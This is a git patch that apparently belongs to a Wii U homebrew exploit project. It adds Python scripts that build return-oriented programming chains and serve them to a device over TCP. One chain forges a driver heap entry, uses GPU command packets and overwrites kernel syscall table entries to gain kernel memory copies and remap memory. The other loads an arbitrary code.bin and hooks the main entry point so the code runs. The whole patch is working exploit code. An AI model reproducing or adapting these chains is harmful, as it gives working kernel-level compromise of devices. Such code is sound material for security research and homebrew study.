From b1749737303430e9691af42ac156e53ea2503763 Mon Sep 17 00:00:00 2001 From: Maschell Date: Fri, 6 Mar 2020 20:06:07 +0100 Subject: [PATCH] Add ropchains to setup the memory mapping and actually executing a code.bin --- homebrew/codebin_loader_ropchain.py | 87 ++++++++++++++++ homebrew/do_memory_mapping.py | 15 +++ homebrew/memory_mapping_ropchain.py | 131 ++++++++++++++++++++++++ homebrew/run_codebin_loader_ropchain.py | 15 +++ 4 files changed, 248 insertions(+) create mode 100644 homebrew/codebin_loader_ropchain.py create mode 100644 homebrew/do_memory_mapping.py create mode 100644 homebrew/memory_mapping_ropchain.py create mode 100644 homebrew/run_codebin_loader_ropchain.py diff --git a/homebrew/codebin_loader_ropchain.py b/homebrew/codebin_loader_ropchain.py new file mode 100644 index 0000000..a540df7 --- /dev/null +++ b/homebrew/codebin_loader_ropchain.py @@ -0,0 +1,87 @@ +from ropgadgets import * +from common_defines import * +import struct + + +def load_code_bin_ropchain_calls(target_addr, extra_data_addr, rpl_name_addr, function_name_addr, payload_data_addr, payload_len): + cur_chain = [] + # We are on a new thread on Core 1 + # We expected a memory mapping 0xA0000000 -> 0x1000000. + # Copy our payload to the target_addr + cur_chain += memcpy(0xC1000000 + target_addr, payload_data_addr, payload_len) + cur_chain += DCFlushRange(target_addr, payload_len) + cur_chain += ICInvalidateRange(target_addr, payload_len) + + # Create a main hook to execute the payload on the next application switch. + cur_chain += memcpy(0xC1000000 + ADDRESS_main_entry_hook, extra_data_addr, 4) + cur_chain += DCFlushRange(ADDRESS_main_entry_hook, 4) + cur_chain += ICInvalidateRange(ADDRESS_main_entry_hook, 4) + + # Call _SYSLaunchMiiStudio() and exit the thread + cur_chain += FindExportAndCall(extra_data_addr + 0x04, rpl_name_addr, function_name_addr) # _SYSLaunchMiiStudio + cur_chain += OSExitThread(0) + + return cur_chain + + +def load_code_bin_ropchain_data(base, path, entrypoint_addr): + cur_chain = [] + + extra_data_addr = base + tmp_chain = [(entrypoint_addr & 0x03fffffc) | 0x48000003, # branch to target_addr + 0, + 0] + + cur_chain += tmp_chain + rpl_name_addr = extra_data_addr + (len(tmp_chain) * 4) + tmp_chain = [0x73797361, + 0x70702E72, + 0x706C0000] + + cur_chain += tmp_chain + function_name_addr = rpl_name_addr + (len(tmp_chain) * 4) + tmp_chain = [0x5F535953, + 0x4C61756E, + 0x63684D69, + 0x69537475, + 0x64696F00] + + # Copy the target payload into the ROP. + cur_chain += tmp_chain + payload_data_addr = function_name_addr + (len(tmp_chain) * 4) + + tmp_chain = [] + payload_len = 0 + word = 1 + with open(path, "rb") as f: + while word: + + word = f.read(4) + if len(word) == 0: + break + val = 0 + if len(word) < 4: + for x in range(len(word)): + val |= word[x] << ((3 - x) * 8) + else: + val = struct.unpack(">I", word)[0] + tmp_chain.append(val) + payload_len += 4 + + cur_chain += tmp_chain + return [cur_chain, extra_data_addr, rpl_name_addr, function_name_addr, payload_data_addr, payload_len] + + +def load_code_bin_ropchain(path, target_addr, entrypoint_addr): + cur_chain = [] + base = 0x4D900000 + 0x14 + # Get the length of the "function calls" to calculates offsets + rop_len = len(load_code_bin_ropchain_calls(0, 0, 0, 0, 0, 0)) * 4 + + # Create the data for the payload + tmp_data = load_code_bin_ropchain_data(base + rop_len, path, entrypoint_addr) + + # Build real ropchain + cur_chain += load_code_bin_ropchain_calls(target_addr, tmp_data[1], tmp_data[2], tmp_data[3], tmp_data[4], tmp_data[5]) + cur_chain += tmp_data[0] + return cur_chain diff --git a/homebrew/do_memory_mapping.py b/homebrew/do_memory_mapping.py new file mode 100644 index 0000000..60e4f1e --- /dev/null +++ b/homebrew/do_memory_mapping.py @@ -0,0 +1,15 @@ +from memory_mapping_ropchain import * +from tcp_ropchain import * +from config import * +import socket, time, struct + +# Send second payload via tcp +rop_packet_mem = memory_mapping_ropchain() +rop_packet = struct.pack(">%iI" % len(rop_packet_mem), *rop_packet_mem) +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +s.bind(('0.0.0.0', TCP_SERVER_PORT)) +s.listen(1) +conn = s.accept() +print('Connected by ', conn[1]) +conn[0].send(rop_packet) diff --git a/homebrew/memory_mapping_ropchain.py b/homebrew/memory_mapping_ropchain.py new file mode 100644 index 0000000..a30ef9f --- /dev/null +++ b/homebrew/memory_mapping_ropchain.py @@ -0,0 +1,131 @@ +from ropgadgets import * +from common_defines import * + + +# This is only valid for a short time +def kern_memcpy(dest, src, len): + # Calls syscall 0x32 + return call_func(ROP_Register, dest, src, len) + + +def memory_mapping_ropchain_calls(drvname_addr, fake_heap_entry_addr, fake_heap_addr, pm4_packet_addr, extra_data_addr, rpl_name_addr, function_name_addr): + cur_chain = [] + + # Suspend the main thread + cur_chain += OSSuspendThread(0x100457E0) + + real_fake_heap_addr = 0x2F200014 + cur_chain += memcpy(real_fake_heap_addr, fake_heap_addr, 0x10) + cur_chain += DCFlushRange(real_fake_heap_addr, 0x10) + + # This will set KERN_HEAP_PHYS + STARTID_OFFSET to 0x03000000 + cur_chain += DCFlushRange(pm4_packet_addr, 0x20) + cur_chain += GX2DirectCallDisplayList(pm4_packet_addr, 0x20) + cur_chain += GX2DirectCallDisplayList(pm4_packet_addr, 0x20) + cur_chain += GX2DirectCallDisplayList(pm4_packet_addr, 0x20) + + cur_chain += GX2Flush() + cur_chain += GX2DrawDone() + + cur_chain += OSDriver_Register(drvname_addr, 3, 0, 0) + + cur_chain += write32(fake_heap_entry_addr + 0x44, KERN_SYSCALL_TBL_2 + (0x32 * 4)) # override the register syscall with new kernel copy data + cur_chain += DCFlushRange(fake_heap_entry_addr + 0x44, 0x04) + cur_chain += OSDriver_CopyToSaveArea(drvname_addr, 3, extra_data_addr, 4) + + cur_chain += kern_memcpy(KERNEL_ADDRESS_TABLE + (0x12 * 4), extra_data_addr + 0xC, 8) # memory mapping + cur_chain += kern_memcpy(KERN_SYSCALL_TBL_1 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy + cur_chain += kern_memcpy(KERN_SYSCALL_TBL_2 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy + cur_chain += kern_memcpy(KERN_SYSCALL_TBL_3 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy + cur_chain += kern_memcpy(KERN_SYSCALL_TBL_4 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy + cur_chain += kern_memcpy(KERN_SYSCALL_TBL_5 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy + cur_chain += kern_memcpy(KERN_HEAP + STARTID_OFFSET, extra_data_addr + 8, 4) # clean exploit stuff + cur_chain += kern_memcpy(KERN_DRVPTR, fake_heap_entry_addr + 0x48, 4) # clean exploit stuff + cur_chain += kern_memcpy(KERN_SYSCALL_TBL_2 + (0x32 * 4), extra_data_addr + 0x04, 4) # restore syscall 0x32 + + cur_chain += FindExportAndCall(extra_data_addr + 0x14, rpl_name_addr, function_name_addr) # SYSRelaunchTitle + cur_chain += OSResumeThread(0x100457E0) # Restart the main thread + + cur_chain += OSExitThread(0) + + return cur_chain + + +def memory_mapping_ropchain_data(base): + cur_chain = [] + + drvname_addr = base + tmp_chain = [0x58585800] + cur_chain += tmp_chain + + fake_heap_addr = drvname_addr + (len(tmp_chain) * 4) + fake_heap_entry_addr = 0x105F0000 + tmp_chain = [fake_heap_entry_addr, + 0xFFFFFFB4, + 0xFFFFFFFF, + 0xFFFFFFFF] + cur_chain += tmp_chain + cur_addr = fake_heap_addr + (len(tmp_chain) * 4) + + # align pm4 packet to 0x20 + offset = ((cur_addr + 31 & ~ 31) - cur_addr) >> 2 + tmp_chain = [] + for i in range(0, offset): + tmp_chain.append(0xDEADAFFE) + cur_chain += tmp_chain + + kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET + pm4_packet_addr = cur_addr + (len(tmp_chain) * 4) + tmp_chain = [0xC0013900, + kpaddr, + 0xC0000000, + 0x80000000, + 0x80000000, + 0x80000000, + 0x80000000, + 0x80000000] + cur_chain += tmp_chain + + # extra_data + extra_data_addr = pm4_packet_addr + (len(tmp_chain) * 4) + tmp_chain = [0xfff09e44, + 0xfff1104c, + 0, + 0x10000000, + 0x28305800, + 0xDEADABBC, + 0xDEADABBE] + cur_chain += tmp_chain + + # rpl_name_addr + rpl_name_addr = extra_data_addr + (len(tmp_chain) * 4) + tmp_chain = [0x73797361, + 0x70702E72, + 0x706C0000] + cur_chain += tmp_chain + + # function_name_addr + function_name_addr = rpl_name_addr + (len(tmp_chain) * 4) + tmp_chain = [0x53595352, + 0x656C6175, + 0x6E636854, + 0x69746C65, + 0x00000000] + cur_chain += tmp_chain + + return [cur_chain, drvname_addr, fake_heap_entry_addr, fake_heap_addr, pm4_packet_addr, extra_data_addr, rpl_name_addr, function_name_addr] + + +def memory_mapping_ropchain(): + base = 0x4D900000 + 0x14 + # Get the length of the "function calls" to calcutes offsets + rop_len = len(memory_mapping_ropchain_calls(0, 0, 0, 0, 0, 0, 0)) * 4 + + # Get the data and their addresses. + tmp_data = memory_mapping_ropchain_data(base + rop_len) + + # Build real ropchain + cur_chain = [] + cur_chain += memory_mapping_ropchain_calls(tmp_data[1], tmp_data[2], tmp_data[3], tmp_data[4], tmp_data[5], tmp_data[6], tmp_data[7]) + cur_chain += tmp_data[0] + return cur_chain diff --git a/homebrew/run_codebin_loader_ropchain.py b/homebrew/run_codebin_loader_ropchain.py new file mode 100644 index 0000000..3cc7d33 --- /dev/null +++ b/homebrew/run_codebin_loader_ropchain.py @@ -0,0 +1,15 @@ +from codebin_loader_ropchain import * +from tcp_ropchain import * +from config import * +import socket, time, struct + +# Send second payload via tcp +rop_payload = load_code_bin_ropchain(CODE_BIN_PATH, CODE_BIN_TARGET_ADDR, CODE_BIN_ENTRYPOINT) +rop_packet = struct.pack(">%iI" % len(rop_payload), *rop_payload) +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +s.bind(('0.0.0.0', 12345)) +s.listen(1) +conn = s.accept() +print('Connected by ', conn[1]) +conn[0].send(rop_packet)